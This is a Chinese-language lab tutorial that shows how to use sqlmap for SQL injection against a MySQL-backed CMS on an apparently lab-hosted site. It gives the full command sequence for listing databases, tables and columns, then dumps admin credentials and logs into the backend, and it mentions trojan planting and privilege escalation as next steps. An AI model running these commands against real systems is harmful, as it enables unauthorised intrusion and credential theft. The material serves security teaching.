SQLMap之mysql数据库注入

1.9 (实验)如何使用SQLMap进行MySQL数据库注入

第一步:打开目标地址,先手工检查一下是否存在注入点。

http://www.any.com/wcms/show.php?id=33页面正常

SQLMap之mysql数据库注入_第1张图片

http://www.any.com/wcms/show.php?id=33'正常报错

SQLMap之mysql数据库注入_第2张图片

说明存在注入漏洞。下面使用sqlmap进行SQL注入操作。

第二步:使用sqlmap判断一下是否存在注入漏洞(主要是看能否返回信息)

python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33

使用的参数是-u,意思是url。当给sqlmap这么一个url的时候,它会判断可注入的参数;判断可以用那种SQL注入技术来注入;识别出哪种数据库;根据用户选择,读取哪些数据。实验结果如下图:

SQLMap之mysql数据库注入_第3张图片

如果遇到类似于下图箭头所指的选择,直接点击回车即可。

SQLMap之mysql数据库注入_第4张图片

最终结果如下图所示:

SQLMap之mysql数据库注入_第5张图片

对最终结果的分析(上图中红框内的部分):

Web服务器的系统是Windows;web应用技术的PHP版本是5.3.29,Apache版本是2.4.10;后台数据库使用的是MySQL,版本大于5.5。

第三步:获取数据库信息。

python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --dbs#获取所有数据库信息

SQLMap之mysql数据库注入_第6张图片

得到的数据库结果如下图:

SQLMap之mysql数据库注入_第7张图片

对最终结果的分析(上图中红框内的部分):

 系统由10个可以使用的数据库,名称分别是510cms,challenges,cms,dvwa,efucms,information_schema,mysql,performation_schema,security,test。


获取当前数据库的信息使用的命令是python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --current-db#获取当前数据库信息

SQLMap之mysql数据库注入_第8张图片
SQLMap之mysql数据库注入_第9张图片

对最终结果的分析(上图中红框内的部分):

 当前网页使用的数据库名称是cms。

第四步:指定库名列出所有表

python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms --tables使用参数-D来指定数据库为cms,使用参数--tables来确定获取的内容是cms数据库内的表的名称。

SQLMap之mysql数据库注入_第10张图片
SQLMap之mysql数据库注入_第11张图片

对最终结果的分析(上图中红框内的部分):

 当前网页使用的数据库名称是cms。进一步获取到了cms库所有的表,cms数据库中的数据表有8个,名称分别是cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users,我们更关注cms_users这个表。根据经验,这里面存储着后台的管理账号和密码。

第五步:指定库名表名列出所有字段。

python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users --columns使用参数-D来指定数据库为cms,使用-T来指定数据表的名称是cms_users,使用参数--columns来确定获取的内容是cms数据库内的cms_users表中列的名称。

SQLMap之mysql数据库注入_第12张图片
SQLMap之mysql数据库注入_第13张图片

对最终结果的分析(上图中红框内的部分):

 当前网页使用的数据库名称是cms。数据表的名称是cms_users。在这个表中有三个字段,字段名称分别是password,userid,username,字符类型分别是最长是32位的字符型,最长为11位的整型和最长是20位的字符型数据。理论上password、和username分别存储着密码和用户名。

第六步:指定库名表名字段列出指定字段

python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users -C username,password --dump使用参数-D来指定数据库为cms,使用-T来指定数据表的名称是cms_users,使用-C来指定数据表中列的名称是username和password,使用参数--dump来确定获取的内容是cms数据库内的cms_users表中的username和password列的内容字段。

SQLMap之mysql数据库注入_第14张图片

在执行过程中,会需要我们属于选择一下y或者n,默认的是大写选项,默认即可(一直按Enter键即可)。

SQLMap之mysql数据库注入_第15张图片

最终实验结果结果如图所示:

SQLMap之mysql数据库注入_第16张图片

对最终结果的分析(上图中红框内的部分):

当前网页使用的数据库名称是cms。数据表的名称是cms_users。在这个表中的username和password对应的内容分别是 admin 和123456。

第七步:在后台登陆一下。至于后台的查找,我们可以通过御剑这款专业的后台查找工具,后续实验中会有详细的介绍,这里不再赘述。

使用的网址是http://www.any.com/wcms/admin/login.php

SQLMap之mysql数据库注入_第17张图片

输入用户名和密码 admin 123456

SQLMap之mysql数据库注入_第18张图片

 登陆成功。关于sqlmap的入侵整个实验过程已经结束,后续的工作就是挂马提权,这些内容也会在后续的实验中进行详细的介绍。

你可能感兴趣的:(SQLMap之mysql数据库注入)